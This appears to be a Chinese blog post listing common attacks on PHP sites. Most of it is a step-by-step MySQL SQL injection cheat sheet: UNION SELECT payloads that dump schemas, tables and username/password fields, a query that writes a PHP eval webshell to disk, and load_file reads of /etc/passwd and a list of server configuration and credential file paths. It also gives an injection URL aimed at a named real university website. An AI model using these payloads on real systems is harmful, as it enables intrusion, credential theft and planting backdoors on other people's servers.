1.SQL Injection(sql注入)  

  1暴字段长度 Order by num/*

  2.匹配字段 and 1=1 union select 1,2,3,4,5…….n/*

  3.暴露字段位置 and 1=2 union select 1,2,3,4,5…..n/*

  4.利用内置函数暴数据库信息       

      version() database() user()

    不用猜解可用字段暴数据库信息(有些网站不适用):

      and 1=2 union all select version() /*

      and 1=2 union all select database() /*

      and 1=2 union all select user() /*

    操作系统信息:

      and 1=2 union all select @@global.version_compile_os from mysql.user /*

    数据库权限:

      and ord(mid(user(),1,1))=114 /* 返回正常说明为root

    暴库 (mysql>5.0)

      Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息 and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

    猜表

      and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—

    猜字段

      and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1

    暴密码      

      and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1

      高级用法(一个可用字段显示两个数据内容):Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1

    直接写马(Root权限)      

      条件:1、知道站点物理路径

         2、有足够大的权限(可以用select …. from mysql.user测试)

         3、magic_quotes_gpc()=OFF

            select ‘<?php eval($_POST[cmd])?>' into outfile ‘物理路径' and 1=2 union all select 一句话HEX值 into outfile '路径'

    load_file() 常用路径:

    

    1、replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
    2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
    上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
    3、load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
    4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
    5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
    6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
    7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
    8、d:\APACHE\Apache2\conf\httpd.conf
    9、C:\Program Files\mysql\my.ini
    10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
    11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
    12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
    13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
    14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
    15、 /etc/sysconfig/iptables 本看防火墙策略
    16 、usr/local/app/php5 b/php.ini PHP 的相当设置
    17 、/etc/my.cnf MYSQL的配置文件
    18、 /etc/redhat-release 红帽子的系统版本
    19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
    20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
    21、/usr/local/app/php5 b/php.ini //PHP相关设置
    22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置 
    23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
    24、c:\windows\my.ini
    25、c:\boot.ini

    手工注射时出现的问题:

    

当注射后页面显示:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
如:http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20
这是由于前后编码不一致造成的,
解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:
http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20
既可以继续注射了。。。

2.XSS (Cross Site Scripting)(跨站脚本攻击)

   http://www.cnblogs.com/dolphinX/p/3391351.html

3.Source Code Revelation(源代码暴露)

  可以用php.ini或者htaccess控制

  <Files ~ "\.inc$">
  Order allow,deny
  Deny from all
  </Files>

4.Remote File Inclusion(远程文件包含漏洞)

  

<?php
$file = $_GET['file']; // “ ../../etc/passwd\0”
if(file_exists('/home/wwwrun' . $file . '.php')){xxx}
?>

5.Session Hijacking(session劫持)

6.Cross Site Request Forgery(跨站请求伪造)

7.Directory Traversal(目录跨越)

PHP常见的几种攻击方式的更多相关文章

  1. 理解BurpSuit Intruder几种攻击方式

    Intruder标签下有四种攻击方式 Sniper Battering Ram Pitchfork Cluster Bomb 假设用户名密码词典分别如下: user1,user2,usre3 pass ...

  2. linux系统服务器可能被攻击的几种攻击方式

    linux系统随着Linux企业应用的扩展,有大量的网络服务器使用Linux操作系统.Linux服务器的安全性能受到越来越多的关注,这里根据Linux服务器受到攻击的深度以级别形式列出,并提出不同的解 ...

  3. JS 跨域问题常见的五种解决方式

    一.什么是跨域? 要理解跨域问题,就先理解好概念.跨域问题是由于javascript语言安全限制中的同源策略造成的. 简单来说,同源策略是指一段脚本只能读取来自同一来源的窗口和文档的属性,这里的同一来 ...

  4. POST—常见的4种提交方式

    HTTP/1.1 协议规定的 HTTP 请求方法有 OPTIONS.GET.HEAD.POST.PUT.DELETE.TRACE.CONNECT 这几种.其中,POST 一般用来向服务端提交数据,本文 ...

  5. 数据库常见的三种join方式

    数据库常见的join方式有三种:inner join, left outter join, right outter join(还有一种full join,因不常用,本文不讨论).这三种连接方式都是将 ...

  6. Robot Framework--接口测试中常见的四种POST方式

    写接口测试用例时,遇到以json格式提交数据时,报错,Request如下图: Response如下图: 改成form格式提交,可以正常运行,如下图: 代码如下: ------------------- ...

  7. Sql Server 常见的几种分页方式

    ⒈offset fetch next方式[SqlServer2012及以上版本支持][推荐] select * from T_User order by id offset rows /*(页数-1) ...

  8. js常见的几种继承方式

    1.原型链继承 “父类”的实例作为子类的prototype SubType.prototype = new SuperType() 2.组合继承(原型链+构造函数) function SubType( ...

  9. burp suite 的intruder 四种攻击方式

    一:sniper[狙击手] 这种攻击基于原始的请求内容,需要一个字典,每次用字典里的一个值去代替一个待攻击的原始值. 攻击次数=参数个数X字典内元素个数 例如:原始请求中 name=aa , pass ...

随机推荐

  1. 场景实践:使用RDS和ECS搭建个人博客

    体验简介 本教程将使用一台基础环境为CentOS7.7的云服务器ECS实例, 搭配您已有的云数据库RDS实例,帮助您快速搭建属于自己的云上博客. 背景知识 本场景主要涉及以下云产品和服务: 阿里云关系 ...

  2. Fail2ban 配置详解 配置目录结构说明

    /etc/fail2ban/ ├── action.d │ ├── ... ├── fail2ban.conf ├── fail2ban.d ├── filter.d │ ├── ... ├── ja ...

  3. 对 Python 中 GIL 的一点理解

    GIL(Global Interpreter Lock),全局解释器锁,是 CPython 为了避免在多线程环境下造成 Python 解释器内部数据的不一致而引入的一把锁,让 Python 中的多个线 ...

  4. js 动画补间 Tween

    1 /* RunningList (触发过程中可以安全的删除自己) 2 如果触发过程中删除(回调函数中删除正在遍历的数组), 不仅 len 没有变(遍历前定义的len没有变, 真实的len随之减少), ...

  5. IOI2020 国家集训队作业 泛做

    题号 题目名称 rating 算法 完成情况 CF504E Misha and LCP on Tree CF505E Mr.Kitayuta vs. Bamboos CF506E Mr.Kitayut ...

  6. SPFA 最短路算法

    SPFA算法 1.什么是spfa算法? SPFA 算法是 Bellman-Ford算法 的队列优化算法的别称,通常用于求含负权边的单源最短路径,以及判负权环.SPFA一般情况复杂度是O(m)O(m) ...

  7. Oracle数据库丢失表排查思路

    Oracle数据库丢失表排查思路 说明:由于系统采用ID取模分表法进行Oracle数据存储,某日发现Oracle数据库中缺少对应的几张业务数据表,遂进行相关问题查询,简单记录一下排查思路: 由于我们代 ...

  8. 【Redis】简单动态字符串SDS

    C语言字符串 char *str = "redis"; // 可以不显式的添加\0,由编译器添加 char *str = "redis\0"; // 也可以添加 ...

  9. VMware 安装 Anolis OS

    安装时参考的以下文章 VMware Workstation Pro 虚拟机安装 VMware Workstation Pro 安装 龙蜥操作系统(Anolis OS) Anolis OS 8 安装指南 ...

  10. 3.C++逐行读取txt文件数据,利用getline -windows编程

      引言:今天学会了getline的用法,顺手编写一个逐行读取txt文件的程序.关于getline的用法可以看我之前的博客:2.C++标准库函数:getline函数 定界流输入截取函数 -zobol的 ...